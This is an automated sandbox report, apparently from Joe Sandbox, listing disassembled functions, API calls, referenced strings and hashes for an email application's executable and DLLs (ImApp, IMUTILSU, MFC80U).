#6735.MFC80U(?), ref: 10003771

Part of subcall function 10004790: _invalid_parameter_noinfo.MSVCR80(?,?,DC7F1836,DC7F180A,00000000,?,?), ref: 100047DB
Part of subcall function 10004790: #1472.MFC80U(?,?,?), ref: 100047F1
Part of subcall function 10004790: #280.MFC80U(?,?,?), ref: 10004800
Part of subcall function 10004790: #578.MFC80U(?,?,?,?), ref: 1000483C
Part of subcall function 10004790: _invalid_parameter_noinfo.MSVCR80 ref: 10004846
Part of subcall function 10004790: _invalid_parameter_noinfo.MSVCR80 ref: 10004851

#578.MFC80U(?), ref: 10003793
LeaveCriticalSection.KERNEL32(?), ref: 100037AD

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$Leave$_invalid_parameter_noinfo$#578$#6735#762EnterValue$#1472#280#731#764CurrentObjectSingleThreadWaitsqlite3_create_function16
String ID:
API String ID: 592165739-0
Opcode ID: ad6b98068a373c4a5d56884b041e3c879863bb92702725222940031a3d99122f
Instruction ID: 038e73c391a52a966e5370259fdee66e7da2fff1b8bbf0ad62d3d6c2f3493f0b
Opcode Fuzzy Hash: ad6b98068a373c4a5d56884b041e3c879863bb92702725222940031a3d99122f
Instruction Fuzzy Hash: 105162B66083419FE311DF18D885B5BBBE8FB982A0F008A1DF995D7395D735E804CB92

Function 00401CF0 Relevance: 18.1, APIs: 12, Instructions: 126COMMON

Download Yara Rule

APIs

#28.IMUTILSU(FC8A6036), ref: 00401D1F
#28.IMUTILSU(FC8A6036), ref: 00401D2C
#28.IMUTILSU ref: 00401D3A
#1322.IMUTILSU(00003ADD,?), ref: 00401D65
#1322.IMUTILSU(00003ADE,?,00003ADD,?), ref: 00401D74
#1322.IMUTILSU(00003ADF,?,00003ADE,?,00003ADD,?), ref: 00401D83
#1355.IMUTILSU(00000001,00000000,00000000,00000000,00000001,000000FF,000000FF,?,FC8A6036), ref: 00401DC7
#1355.IMUTILSU(00000001,00000000,00000001,00000000,00000000,00000000,00000001,000000FF,000000FF,?,FC8A6036), ref: 00401DD3
#1355.IMUTILSU(00000001,00000003,00000002,00000000,?,00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00000000,00000001,000000FF), ref: 00401DEB
#83.IMUTILSU ref: 00401E3A
#83.IMUTILSU ref: 00401E47
#83.IMUTILSU ref: 00401E58

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322#1355
String ID:
API String ID: 536859963-0
Opcode ID: 7e7d56316b73a0af770eae24058a02e020014a370b5dcdb2f5dd6e5ea9045d2c
Instruction ID: 882e6ffe91cf4aac45aa6719c1adc2f777d7a96c4e40b512ddfd944efab331cf
Opcode Fuzzy Hash: 7e7d56316b73a0af770eae24058a02e020014a370b5dcdb2f5dd6e5ea9045d2c
Instruction Fuzzy Hash: 3B41DFB1218300AFC214DB59C881EABB7E8EF89704F40492EF695972D0DB79ED45CB96

Function 00404370 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404397
#314.MFC80U(00000000,FC8A6036), ref: 004043A1
#675.IMUTILSU(00000000,SentFailCount,?,00000000,00000001,00000000,00000000,FC8A6036), ref: 004043D7
#1409.IMUTILSU(00000000,SentFailCount,?,00000000,00000001,00000000,00000000,FC8A6036), ref: 004043DE
#675.IMUTILSU(00000000,SentFailCount,?,00000000,00000000,SentFailCount,?,00000000,00000001,00000000,00000000,FC8A6036), ref: 004043F6
#1350.IMUTILSU(00000000,SentFailCount,?,00000000,00000000,SentFailCount,?,00000000,00000001,00000000,00000000,FC8A6036), ref: 004043FD
SysFreeString.OLEAUT32(?), ref: 004044BB
#6751.MFC80U(00000000,?), ref: 0040454D

Strings

SentFailCount, xrefs: 004043CD, 004043EC
`Dvp=Dv, xrefs: 004044BB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #675$#1067#1350#1409#314#6751FreeString
String ID: SentFailCount$`Dvp=Dv
API String ID: 4076827852-299319261
Opcode ID: c95bdbd2bdb8fa2c64706b23426ef1223c3623d5a8ed8791169ad2cd7b5e64a6
Instruction ID: 70f9dfc9e4d1fb0d628ac1d7ea4e913272caf5b5feff0aa4e82a567be883c0b6
Opcode Fuzzy Hash: c95bdbd2bdb8fa2c64706b23426ef1223c3623d5a8ed8791169ad2cd7b5e64a6
Instruction Fuzzy Hash: 6F5104B1608201AFC740DF99C880E6BB7F9EFC9704F60892EF29597290D678ED428B55

Function 00408620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

#679.IMUTILSU(00424EA4,00000000,00000015,00424DB4,?,FC8A6036), ref: 0040866C
#344.IMUTILSU(004247D4,CImTray::OnGetSpooler(),Could not advice to IStatusEvents interface.,00000000,?,FC8A6036), ref: 0040868A
#1460.IMUTILSU(004247D4,CImTray::OnGetSpooler(),Could not advice to IStatusEvents interface.,00000000,?,FC8A6036), ref: 00408691
#1194.MFC80U(?,?,FC8A6036), ref: 004086F8
#685.IMUTILSU(?,?,?,?,?,?,?,FC8A6036), ref: 00408729
VariantClear.OLEAUT32(?), ref: 00408740

Strings

CImTray::OnGetSpooler(), xrefs: 00408680
Could not advice to IStatusEvents interface., xrefs: 004086EC
Could not create ISpooler interface., xrefs: 0040867B
Could not advice to ISpoolerEvents interface., xrefs: 004086C9

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#679#685ClearVariant
String ID: CImTray::OnGetSpooler()$Could not advice to ISpoolerEvents interface.$Could not advice to IStatusEvents interface.$Could not create ISpooler interface.
API String ID: 570360327-776813587
Opcode ID: 7a6ac1ede1962faa3ec7a768a5ed2e5b0e69e2c5281e28dccb03d40082eae68f
Instruction ID: df7a9e75d56b54256b62a0beccbaba7b3f3b3f6da67dd2050e5e53b357d21d5a
Opcode Fuzzy Hash: 7a6ac1ede1962faa3ec7a768a5ed2e5b0e69e2c5281e28dccb03d40082eae68f
Instruction Fuzzy Hash: 50318D71304741AFC304DF69D981F57B7E8FBC8758F504A2EF584A3281DB79A8058BAA

Function 004088C0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036,FC8A6036), ref: 00408908
#680.IMUTILSU(00424EE4,?,?,?), ref: 00408939
VariantClear.OLEAUT32(?), ref: 00408950
#344.IMUTILSU(004247D4,CImTray::OnGetRulesManager(),Failed to create IRulesManager interface.,00000000), ref: 0040896A
#1460.IMUTILSU(004247D4,CImTray::OnGetRulesManager(),Failed to create IRulesManager interface.,00000000), ref: 00408971
#344.IMUTILSU(004247D4,CImTray::OnGetRulesManager(),Could not advise to ISpoolerEvents interface.,00000000,?,?,?,004277B0,?), ref: 004089E4
#1460.IMUTILSU(004247D4,CImTray::OnGetRulesManager(),Could not advise to ISpoolerEvents interface.,00000000,?,?,?,004277B0,?), ref: 004089EB

Strings

Could not advise to ISpoolerEvents interface., xrefs: 004089D5
Failed to create IRulesManager interface., xrefs: 0040895B
CImTray::OnGetRulesManager(), xrefs: 00408960, 004089DA

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1460#344$#1194#680ClearVariant
String ID: CImTray::OnGetRulesManager()$Could not advise to ISpoolerEvents interface.$Failed to create IRulesManager interface.
API String ID: 2978728145-679752012
Opcode ID: b065cab4dd7d4517d98dddb8103df57fc70a67439dd18085d41637e4e0996fb2
Instruction ID: cbdf29480d33e7fddd9344269d5f37c1bbc3e620ed6edddc21dd0fb6d99617be
Opcode Fuzzy Hash: b065cab4dd7d4517d98dddb8103df57fc70a67439dd18085d41637e4e0996fb2
Instruction Fuzzy Hash: 734190B1704711AFC304EB25C981F67B7E8EBC8B14F50862EF45497291DB38E845CBAA

Function 020D8160 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

#5.IMDBU ref: 020D81B3
#578.MFC80U(?,?,?,?,?,?,?,?,020ECC94,000000FF), ref: 020D81F8
_waccess.MSVCR80 ref: 020D8205
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,020ECC94,000000FF), ref: 020D8247
#1777.IMUTILSU(?,?,00000000), ref: 020D8259
#578.MFC80U ref: 020D826A
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,020ECC94,000000FF), ref: 020D827C
#2121.MFC80U ref: 020D8285

Strings

AddrBook.db3, xrefs: 020D81E2
bak, xrefs: 020D8231

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#1777#2121_waccess
String ID: AddrBook.db3$bak
API String ID: 3038984650-4171595730
Opcode ID: 8576dd3004a11338465eca466ea376f31b64be77519020d49c8c35992f735c3b
Instruction ID: 66861df1edb94dcdf77889cb8dd0baa9d3e8470c7aff289d046fc83a4ee46c3b
Opcode Fuzzy Hash: 8576dd3004a11338465eca466ea376f31b64be77519020d49c8c35992f735c3b
Instruction Fuzzy Hash: 8631B3714483809FD311DB24C844B9BF7E5BFD8318F148E5DE58A53690E774E609CB92

Function 020C9219 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

#310.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C9236
#2311.MFC80U(?,%s = :%s,ContactID,ContactID), ref: 020C9253
#899.MFC80U(020F50C8,?,?,?,?,?,00000001,?,00000001), ref: 020C926B
#896.MFC80U(?,?,?,?,?,?,00000001,?,00000001), ref: 020C927A
#578.MFC80U ref: 020C9289
#280.MFC80U(?), ref: 020C92AB
#2311.MFC80U(?,UPDATE Contacts SET %s WHERE ContactID=:ContactID,?), ref: 020C92BE
#280.MFC80U(?,?,?,?,?,00000001,?,00000001), ref: 020C92CA
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C92E1
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C92F0

Strings

%s = :%s, xrefs: 020C924D
ContactID, xrefs: 020C9247, 020C9248

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#2311#280$#310#896#899
String ID: %s = :%s$ContactID
API String ID: 2816507684-3026493775
Opcode ID: aeee25b8322e592ea333928e8c88b0dc8bf1e24c84d04932201321d37d590b60
Instruction ID: 49451e5d93777c191954589de70d4fa341abaa0edf041c34621f0210d8a2e269
Opcode Fuzzy Hash: aeee25b8322e592ea333928e8c88b0dc8bf1e24c84d04932201321d37d590b60
Instruction Fuzzy Hash: 86216A31588340CFD354CF14D488BAEFBE0BFA4309F04481DE58A52691DB78AA5CCB97

Function 00415BAC Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 50COMMON

Download Yara Rule

APIs

#310.MFC80U ref: 00415BAF
#2311.MFC80U(?,%s (%s:%d)%s,Exception thrown in destructor,c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin2.inl,00000443,00000000,?,00000200,00000000), ref: 00415BF0
#2311.MFC80U(?,%s (%s:%d),Exception thrown in destructor,c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin2.inl,00000443,?,00000200,00000000), ref: 00415C13
#3391.MFC80U(00000000,00000000), ref: 00415C23
#1118.MFC80U(00000000), ref: 00415C2A
#578.MFC80U(00000000), ref: 00415C36

Strings

%s (%s:%d)%s, xrefs: 00415BE7
%s (%s:%d), xrefs: 00415C0A
c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin2.inl, xrefs: 00415BDD, 00415C00
Exception thrown in destructor, xrefs: 00415BE2, 00415C05

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #2311$#1118#310#3391#578
String ID: %s (%s:%d)$%s (%s:%d)%s$Exception thrown in destructor$c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin2.inl
API String ID: 165623720-418048055
Opcode ID: 1a79dd5543327c1b25ba32db3992c66a85b0316b0083340e319e3bc3e6ff5a89
Instruction ID: bf148e41d6a3455337336e60e0028c61f48a7969dcf6cf5cc1934a1cbf0917ab
Opcode Fuzzy Hash: 1a79dd5543327c1b25ba32db3992c66a85b0316b0083340e319e3bc3e6ff5a89
Instruction Fuzzy Hash: 10119E70740204BBD714EF58ED4AFAE7774AF14B05FA04059B501A71D1D7B8AB41CBA9

Function 032734F0 Relevance: 16.8, APIs: 11, Instructions: 284windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 0327362E
SetFocus.USER32(00000000), ref: 03273649
ShowWindow.USER32(?,00000000), ref: 03273661
GetWindowRect.USER32(?,00000000), ref: 032736C8
SetWindowRgn.USER32(?,?,00000001), ref: 032736FF
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000015), ref: 0327372A
SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000413,?,00000000,00000000,00000015), ref: 03273755
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000413,?,000000FE,00000000,00000000,00000000,00000000,00000413,?,00000000), ref: 03273772
GetCursorPos.USER32(?), ref: 0327378E
ScreenToClient.USER32(00000000,?), ref: 032737A1
SetCapture.USER32(?,?,00000000,00000000,00000015), ref: 032737B7

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: Window$Show$CaptureClientCursorFocusRectScreen
String ID:
API String ID: 681326046-0
Opcode ID: 0858816e8df390745ea1875bbaf1278b721cd8137569d563a2ca5bbfaf450d4f
Instruction ID: 2a898b6dac92b10d5b68e99165d84c5b1d9e5e3d5211fbcde043f9d99333ac1a
Opcode Fuzzy Hash: 0858816e8df390745ea1875bbaf1278b721cd8137569d563a2ca5bbfaf450d4f
Instruction Fuzzy Hash: 9191AF7A3143049BD300DF18DC89EAAB3E8FFC8624F48869DFA489B350D635E9459F91

Function 020C2170 Relevance: 16.8, APIs: 11, Instructions: 256COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020C21AE
#578.MFC80U ref: 020C21ED
#578.MFC80U ref: 020C21FF
#578.MFC80U(?), ref: 020C2289
#774.MFC80U(00000000), ref: 020C22AF
#578.MFC80U(?,?,00000008), ref: 020C22BD
#578.MFC80U(?,?,?,?,?,?,00000002), ref: 020C23BA
#578.MFC80U(?,?,?,?,?,00000002), ref: 020C23C8
#578.MFC80U(?,?,00000008), ref: 020C244A
#2121.MFC80U(?,?,00000008), ref: 020C2459
#578.MFC80U ref: 020C2470

Part of subcall function 020C3A00: #310.MFC80U(265105E4,?,?,00000001,020EF70A,000000FF,020C9086,?,?,00000001), ref: 020C3A38

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2121#774
String ID:
API String ID: 1049784555-0
Opcode ID: 75754eec18a41667a7890d455ab1e644476c2cc8c6b2a4555e7fec130e04ca20
Instruction ID: 23d074d806d20dbef90809a274605b7d782450107ae0813c6963956b5c1876a8
Opcode Fuzzy Hash: 75754eec18a41667a7890d455ab1e644476c2cc8c6b2a4555e7fec130e04ca20
Instruction Fuzzy Hash: D9A19DB1108782EFC305DF28C484A6EFBE5BF99314F148A5DF99587690CB31E859CB92

Function 020E22B0 Relevance: 16.6, APIs: 11, Instructions: 79COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,00000000,6CAB7F9C,?,?,?,?,?,?,?,00000000), ref: 020E22E6
#2444.MFC80U ref: 020E22FB
#1906.MFC80U(00000000,00000001), ref: 020E230C
#5524.MFC80U(00000022), ref: 020E2316
#3990.MFC80U(?,00000000), ref: 020E232B
#774.MFC80U(00000000), ref: 020E233C
#578.MFC80U ref: 020E234A
#4100.MFC80U(?,-00000002), ref: 020E235B
#1327.IMUTILSU(?,?,020F183C), ref: 020E2378
#774.MFC80U(00000000), ref: 020E238B
#578.MFC80U ref: 020E2399

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#774$#1327#1906#2444#310#3990#4100#5524
String ID:
API String ID: 1102588493-0
Opcode ID: 3c1e34197b55cf1ce08f23f0eda5070565af7d2b0c29bfda60b8570aadb2c06d
Instruction ID: fc22de9285e927db42c6a4d4b96733e54d395fc03f2658086526c0c6dd755317
Opcode Fuzzy Hash: 3c1e34197b55cf1ce08f23f0eda5070565af7d2b0c29bfda60b8570aadb2c06d
Instruction Fuzzy Hash: C921C1B5688340DFC704DF24E888B5EFBE9FBD8715F000A1DF98A93680DB7895188B52

Function 020C33F0 Relevance: 16.6, APIs: 11, Instructions: 78COMMON

Download Yara Rule

APIs

#310.MFC80U(?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C3423
#280.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C345A
#5524.MFC80U(00000040,?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C3468
#3990.MFC80U(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C347C
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C348C
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C349B
#6173.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C34A5
#280.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C34C7
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C34D9
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EBD15,000000FF), ref: 020C34E8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#280$#310#3990#5524#6173#774
String ID:
API String ID: 1863524526-0
Opcode ID: 8ea8f8e7c2bcd3089731c9244cba66cd913acee4cb9b18b699bec0e2c2e181d9
Instruction ID: 32b63c1fec2f91f5424940a52c3653d3077b761c0b7a20a0ac23ae576c4e0ed7
Opcode Fuzzy Hash: 8ea8f8e7c2bcd3089731c9244cba66cd913acee4cb9b18b699bec0e2c2e181d9
Instruction Fuzzy Hash: 7F314975588341DFC305DF14D448B9EFBE4BB98714F008E5EF99A93680DB38AA08CB62

Function 10009620 Relevance: 16.6, APIs: 11, Instructions: 57COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,DC7F1836,?,?,?,?,1000A88C,000000FF,10009608), ref: 10009661
CloseHandle.KERNEL32(?,?,?,?,?,1000A88C,000000FF,10009608), ref: 10009667
CloseHandle.KERNEL32(?,?,?,?,?,1000A88C,000000FF,10009608), ref: 1000966D
CloseHandle.KERNEL32(?,?,?,?,?,1000A88C,000000FF,10009608), ref: 10009673
CloseHandle.KERNEL32(?,?,?,?,?,1000A88C,000000FF,10009608), ref: 10009679
TlsFree.KERNEL32(?,?,?,?,?,1000A88C,000000FF,10009608), ref: 1000967F
#578.MFC80U(?,?,?,?,1000A88C,000000FF,10009608), ref: 1000968D
#578.MFC80U(?,?,?,?,1000A88C,000000FF,10009608), ref: 1000969B
#578.MFC80U(?,?,?,?,1000A88C,000000FF,10009608), ref: 100096A9
#578.MFC80U(?,?,?,?,1000A88C,000000FF,10009608), ref: 100096B7
#578.MFC80U(?,?,?,?,1000A88C,000000FF,10009608), ref: 100096C8

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578CloseHandle$Free
String ID:
API String ID: 4018549242-0
Opcode ID: 98e9afb5a13ba39ff6261b9353174259d5877f1cebdf4f8f4cf3bc99c848a050
Instruction ID: 19031d9f4b3d258b41baec4ad4fd47a099a5860ffb525ceebd617e1c96bf55b4
Opcode Fuzzy Hash: 98e9afb5a13ba39ff6261b9353174259d5877f1cebdf4f8f4cf3bc99c848a050
Instruction Fuzzy Hash: 55212775014794DFD324DF29C888A56BBE8FFA9350F104A1DE096836A1DB78E508CB91

Function 0040E9E0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 237registrycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00428F40,00000000,00000001,00425B00,FC8A6036), ref: 0040EA83
StringFromGUID2.OLE32(?,?,00000040), ref: 0040EB1A
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040EBDB
RegDeleteKeyW.ADVAPI32(80000000,?), ref: 0040EBFC
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040EC73
RegDeleteKeyW.ADVAPI32(80000000,?), ref: 0040EC94

Strings

\Implemented Categories, xrefs: 0040EC29
\Required Categories, xrefs: 0040EB5D
CLSID\, xrefs: 0040EB32, 0040EBFE

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: DeleteInfoQuery$CreateFromInstanceString
String ID: CLSID\$\Implemented Categories$\Required Categories
API String ID: 1363986938-4092563799
